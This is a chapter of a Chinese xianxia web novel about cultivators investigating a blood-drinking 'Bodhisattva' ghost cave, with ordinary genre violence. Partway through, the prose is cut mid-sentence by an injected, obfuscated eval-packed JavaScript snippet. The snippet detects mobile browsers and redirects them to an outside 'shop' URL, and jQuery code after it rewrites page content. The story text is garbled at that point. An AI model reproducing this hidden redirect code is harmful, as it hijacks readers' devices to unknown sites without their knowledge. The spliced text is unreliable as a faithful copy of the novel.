村北面的土坡下面有个菩萨洞。
它似乎是从土地里长出来的,地面鼓起一个包,用秸秆掩盖起来,现在已经被白雪覆盖,看不出一点痕迹。
钱大发走的慢,雪又厚,他深一脚浅一脚,还是摔了一跤,脑袋栽在地上滚了下去,把那些秸秆撞成两截,捂着脑袋在地上哭嚎。
“原来是这样找到菩萨洞的。”尤苍沿着他滚出的痕迹往下走。
江相和闻言露出一个怪笑,偷瞄尤苍的神情,她还是一派冷静,怎么嘴还挺毒?
菩萨洞上方有棵松柏,枝叶枯黄,一道焦痕在树腰处直直往上延伸,又被雪压弯了,在折断的边缘。原是被天雷劈中,断了生机。
“这倒有些意思。”江相和摸着下巴道。
他总算舍得放下包袱轻装上阵。
他盯着幽暗的洞口,将神识分断小心探入,边拍齐幽的肩膀,对李折绵投来的视线回以一笑,状似无事道:“你说那邪菩萨被劈死没?”
“劈死了还会有这么多事吗?”齐幽反问。他拍开江相和的手,往尤苍身边凑。
“尤苍你怎么看?”他眨着眼问,睫毛上挂了两片雪花。
“进去就知道了。”尤苍已经折下一截松柏枝,可惜没有蕴含灵气,只是枯木而已。
她一用力,柏枝就化为齑粉。
钱大发还躺在雪地上哀嚎,雪沾了满身,已经有不少融进他的脖子里。他的指缝有血液渗出,应该正巧摔在挡住洞口的一块青石板上。
“叫钱二来,他知道的也多。”他嚎叫着,眼里都是恐惧,早没了那股狠劲。
只是这种时候还想着拉人下水。
“杨轻。”尤苍却道,“能将钱二带来吗?”
“好。”杨轻有些惊讶,但也点头答应。她飞身上了斜坡,身手了得,看得钱大发一愣一愣。
“你们——”他瞪着眼还想再说,却戛然而止,差点背过气。
“好吵。”尤苍蹙眉,她又施了个定身咒。
钱大发就以一种怪异而可笑的姿势僵在那里。
“像一只龟背朝下的乌龟。”齐幽评价道。
李折绵上前两步踢开钱大发,那个青石板与他而言就是一个泥丸,他伸手一捞,就扔的老远。
没了碍事的东西,他就弯身站于洞前,直直往里看去。
所谓的菩萨洞实则为一个土窖,空间幽闭,带着腐朽与血腥气,洞口窄且矮。
江相和经神识察看,里面倒宽敞,只是蒙了层灰雾,一小缕神识根本穿不透,什么也看不清。
“还是要进去。”江相和扭头去看尤苍,“估摸是邪灵之类的东西,佛光能事半功倍。”
“里面死了不少人。”尤苍只瞧了一眼就明了,她踩着钱大发的腿,冷着脸问,“你们杀了人就抛尸到菩萨洞里?不怕亵渎神明?”
钱大发只觉得腿要断了,方才那男人踢了他一脚,差点将他肋骨踢折,又来这一遭。
他眼睛一闭,什么都招了。
“只扔到洞口,是菩萨自己把他们拖进去的!求求神仙放过我,我知错了!”
钱大发的脸皱成一团,尤苍一松脚,解了定身咒,他就瘫软在地上,连痛呼声都小了。
“有只乌鸦。”李折绵忽然看见只乌鸦闭着眼站在松柏上,也不知什么时候飞过来的。他凝出一道灵气打去,那乌鸦就直挺挺砸到雪里。
尤苍见他说便抬眼看去,那哪里是乌鸦?分明是由瘴气操控的傀儡。
齐幽怔在一旁。他还是第一次见这样的尤苍,她寒着脸,眼神睥睨冷漠,李折绵站在她身边,像是习以为常。
“没什么异常,草木皆兵了大师兄。”江相和还有心思调笑两句。
一缕若有似无的灰雾不知从哪里钻出,他喉结滚动,又听见江相和小声说:“这是佛子吗?……大师兄恐怕真栽在她身上了……什么时候能吃喜酒……”
江相和的声音越来越小,齐幽似乎看见巷子里有一条锣鼓队,喜轿往前走,他就站在原地注目。
他眨下眼,又见满屋的红绸,堂下挂了双喜,唢呐声不歇,是谁在成婚?
尤苍余光一瞥,正巧看见一抹瘴气钻进齐幽的印堂,她跨了一步,迅速往他印堂一拍,他不知什么时候中了招,脸色变得灰白。
齐幽这才回过神,灵力迅速运转,驱散那要命的寒气,他大喘着气,被围了一圈。
江相和这才慎重起来,他召出剑,警惕道:“你怎么了?入了魔障?”
“……是幻境。”齐幽哑声道。他浑身不舒服,像是被什么东西扎了根一般,又说不清。
他张张嘴,抬头瞧见尤苍漆黑的眼,她似乎洞悉一切,那异样之感绝非错觉。
他压住心慌,咽下未出口的话。
还是等回宗再看吧。他想。
“出了什么事?”杨轻提着钱二回来看见的就是这样一副场景。江相和的剑都被召了出来,随时准备对齐幽劈下。
“齐幽中了幻境。”李折绵斜睨了齐幽一眼,抱着剑与尤苍并肩,“没有一点长进。”
杨轻闻言不再多问,她将抖如筛糠的钱二扔下,他就跪在地上头都不敢抬。
尤苍见齐幽不说,便当做没有发现。
她微微侧身,居高临下的瞧着钱二,笑问:“钱大发说这洞里有菩萨长出来?是也不是?”
“是是是……”钱二这才明白为什么自己被捉了过来,原是那老不死的坑害他!
“你和钱大发一起进去。”尤苍不容反抗。
钱二闻言心中一喜,点头如捣蒜。
“不行,我不能进去!”听见这话,钱大发也没法装死了,他吼道,“你个杀千刀的,明知道菩萨喜欢血还让我进去!”
菩萨嗜血?这不是现成的诱饵吗?
尤苍面无表情,盯着钱二道:“你背他进去。”
钱大发还想再说,可哪对抗得了禁言咒和定身法,他只能被钱二拽着两条胳膊往洞里拖。
杨轻见状皱起眉,她不是圣人,罪有应得之辈她不会怜悯,只是尤苍现在样子太极端,像是随时入魔一样。
她召出剑,沉默的跟在她身后,时刻准备斩杀有入魔之像的修士。
微弱的杀意自身后传来,尤苍也召出浮屠,松松抱在胸前。
方才齐幽被瘴气钻了空子,已然在他神魂扎根,她被那只傀儡引走注意,他就这样被瘴气污染。
可是按理说,修士绝不会这样轻易被瘴气侵袭,到底有什么变数?魔族寻找魔种,是否已经怀疑到她身上,不管如何她现在绝不能暴露。
她眼神一转,忽觉这是一个诱饵。瘴气对她亲近,那么自瘴气中诞生的魔族是否会有感应,他们如何得知魔种降世?
齐幽的脸色还没缓和,他的呼吸都有些冰冷,跟在江相和后头。
一进洞里,土腥与血腥一同涌来,钱二一声干呕,还拖着钱大发不肯放手。
“他的脸。”江相和说的极轻,洞里依旧回荡着他的声音。
尤苍的目光在凝在钱大发脸上,他额头有伤,血已经止住,一入洞里就被牵引般,聚成丝往土里钻。
褐色的土壤里似乎许多条这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448831|198235||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样的血丝,它们扭成一股,往更深处蔓延。
李折绵呼吸一顿,还是道:“像是子宫和胎衣。”
这菩萨到底是什么东西?
尤苍也猜不出,魔族自瘴气里诞生,分三六九等,洞里没有瘴气,瘴气来源于那只傀儡。
“是鬼。”她沉道,“阴和合鬼。”
在万佛宗鬼志中有记载,上述同妇人孕育一般,极嗜血丑恶,肤黑褐瞳,狡诈擅骗。
“那个男人莫不是要炼鬼?”杨轻问。
尤苍摇头,既然有傀儡瘴气,那就是花俸无疑。
再往里走,胞衣从地底钻出,只是极其干瘪,钱大发的血如九牛一毛,纵使吸成人干也无济于事。
“不是这样的。”钱二的牙齿在打颤,“菩萨根是红色的,像粗壮树根一样……是在那男人来之后才变得,他偷走了菩萨!”
“什么菩萨?只要能满足你们的贪欲,鬼也能成菩萨。”江相和嘲讽道。
胞衣根部连接一处圆形洞穴,洞口窄长,一走进去就看见里面密密麻麻全是千手观音像。它们像是从土里长出来的,露出半边身子,似乎随时能从土里爬出来。
“啪嗒——”
有尊菩萨像掉落下来,它翻了过来,原本半睁的眼此时就像直勾勾盯着尤苍等人一般。
尤苍面不改色,她走过去,踢了一脚菩萨像,它就咕噜滚两圈,又像是被什么东西提起,正了过来。
“嗡——”
极尖锐的翁鸣,那些菩萨像陡然颤抖起来,它们皆怒目而视,千手千种兵器,有拔舌铁钉之类地府刑法。
钱二被吓得肝胆具颤,他丢下已成干尸死不瞑目的钱大发,转身欲跑,脚踝却被什么东西抓住。他惊叫起来,想求人救他,却忽然动也不能动,一个字都说不出来。
那尊千手菩萨就像生生将他拽进土里。
钱二已死对他们没有丝毫影响。
江相和踩碎一个菩萨像,它就化成泥土,再次重塑起来。
“这雾气怎么就不散?”
“齐幽!用你的火把它们烧成陶!”他咬牙喊道,可无人应声。
他神色一沉,扭过头只见一道佛光乍现,顷刻穿透长雾,那些菩萨像皆面目扭曲,手覆面上,不敢直视。尤苍就站在佛像中,身后有五彩金光,恍如庙中神像。
江相和一怔,这就是佛修吗?
可下一瞬,那些雾气又逼来,他提起心,挥剑斩断那些朝他袭来的菩萨像。它们都闭起眼,眼角有血泪,没了再次塑身的能力,剑光所及皆成飞灰。
杨轻正拽住齐幽,他实在不对劲,呆站在原处,差点被一尊菩萨像咬断脖子。
一面防着邪祟,一面又要防着同伴倒戈,大师兄尤苍都不知在何处,江相和盯着前方不知看见了什么怔怔出神。
杨轻咬牙,她干脆将齐幽打晕,将他背在背上,一手拽住他,一手提剑边往洞口退去。
在那些菩萨像掉下来时,李折绵就站在尤苍身后,他们脊背相靠,他能感觉到她的气息。
他张嘴想让尤苍小心些,可身后气息骤然消失。
李折绵控制不住心中一慌,回头却见一条锣鼓队从巷子里穿来,他站在一处厅堂里,身边有两个媒人抓住他的手腕。
他挣扎起来,却还是被死死抓住。
喜轿抬到大门就只能让新娘下轿子。
唢呐锣鼓的声音几乎震碎李折绵的耳膜,他半睁开眼,面色痛苦。新娘已经被牵着站到他身边。
“一拜天地!”媒婆在喊。
他就弯下身去拜。